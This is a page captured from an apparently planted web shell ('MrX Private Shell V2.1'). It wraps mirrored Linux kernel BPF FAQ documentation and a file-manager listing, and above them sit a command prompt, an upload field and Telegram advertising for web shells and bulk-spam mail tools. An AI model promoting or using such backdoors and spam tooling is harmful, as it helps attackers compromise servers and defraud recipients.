__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Frequently asked questions (FAQ) &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="BPF Design Q&amp;A" href="bpf_design_QA.html" />
    <link rel="prev" title="BPF Type Format (BTF)" href="btf.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../accounting/index.html">Accounting</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cpu-freq/index.html">CPUFreq - CPU frequency and voltage scaling code in the Linux(TM) kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../edac/index.html">EDAC Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fpga/index.html">FPGA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../i2c/index.html">I2C/SMBus Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../iio/index.html">Industrial I/O</a></li>
<li class="toctree-l3"><a class="reference internal" href="../pcmcia/index.html">PCMCIA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../spi/index.html">Serial Peripheral Interface (SPI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../w1/index.html">1-Wire Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../watchdog/index.html">Watchdog Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../virt/index.html">Virtualization Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hwmon/index.html">Hardware Monitoring</a></li>
<li class="toctree-l3"><a class="reference internal" href="../accel/index.html">Compute Accelerators</a></li>
<li class="toctree-l3"><a class="reference internal" href="../security/index.html">Security Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../crypto/index.html">Crypto API</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">BPF Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../usb/index.html">USB support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../PCI/index.html">PCI Bus Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../misc-devices/index.html">Assorted Miscellaneous Devices Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../peci/index.html">PECI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../wmi/index.html">WMI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../tee/index.html">TEE Subsystem</a></li>
</ul>
</li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/bpf/faq.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="frequently-asked-questions-faq">
<h1>Frequently asked questions (FAQ)<a class="headerlink" href="#frequently-asked-questions-faq" title="Link to this heading">ΒΆ</a></h1>
<p>Two sets of Questions and Answers (Q&amp;A) are maintained.</p>
<div class="toctree-wrapper compound">
<ul>
<li class="toctree-l1"><a class="reference internal" href="bpf_design_QA.html">BPF Design Q&amp;A</a></li>
<li class="toctree-l1"><a class="reference internal" href="bpf_devel_QA.html">HOWTO interact with BPF subsystem</a></li>
</ul>
</div>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/bpf/faq.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
libbpf Folder 0755
standardization Folder 0755
bpf_design_QA.html File 39.76 KB 0644
bpf_devel_QA.html File 61.1 KB 0644
bpf_iterators.html File 43.95 KB 0644
bpf_licensing.html File 14.62 KB 0644
bpf_prog_run.html File 19 KB 0644
btf.html File 89.32 KB 0644
clang-notes.html File 13.55 KB 0644
classic_vs_extended.html File 26.83 KB 0644
cpumasks.html File 97.17 KB 0644
drgn.html File 20.27 KB 0644
faq.html File 10.01 KB 0644
fs_kfuncs.html File 10.67 KB 0644
graph_ds_impl.html File 30.56 KB 0644
helpers.html File 9.82 KB 0644
index.html File 12.27 KB 0644
kfuncs.html File 67.22 KB 0644
linux-notes.html File 16.73 KB 0644
llvm_reloc.html File 77.97 KB 0644
map_array.html File 37.73 KB 0644
map_bloom_filter.html File 26.42 KB 0644
map_cgroup_storage.html File 18.5 KB 0644
map_cgrp_storage.html File 16.3 KB 0644
map_cpumap.html File 29.43 KB 0644
map_devmap.html File 35.99 KB 0644
map_hash.html File 35.25 KB 0644
map_lpm_trie.html File 28.12 KB 0644
map_of_maps.html File 23.2 KB 0644
map_queue_stack.html File 23.69 KB 0644
map_sk_storage.html File 26.15 KB 0644
map_sockmap.html File 64.85 KB 0644
map_xskmap.html File 26.94 KB 0644
maps.html File 19.06 KB 0644
other.html File 10.06 KB 0644
prog_cgroup_sockopt.html File 27.23 KB 0644
prog_cgroup_sysctl.html File 18.75 KB 0644
prog_flow_dissector.html File 20.62 KB 0644
prog_lsm.html File 22.69 KB 0644
prog_sk_lookup.html File 16.62 KB 0644
programs.html File 10.56 KB 0644
redirect.html File 15.24 KB 0644
ringbuf.html File 24.44 KB 0644
s390.html File 17.98 KB 0644
syscall_api.html File 10.03 KB 0644
test_debug.html File 9.89 KB 0644
verifier.html File 37.16 KB 0644
Filemanager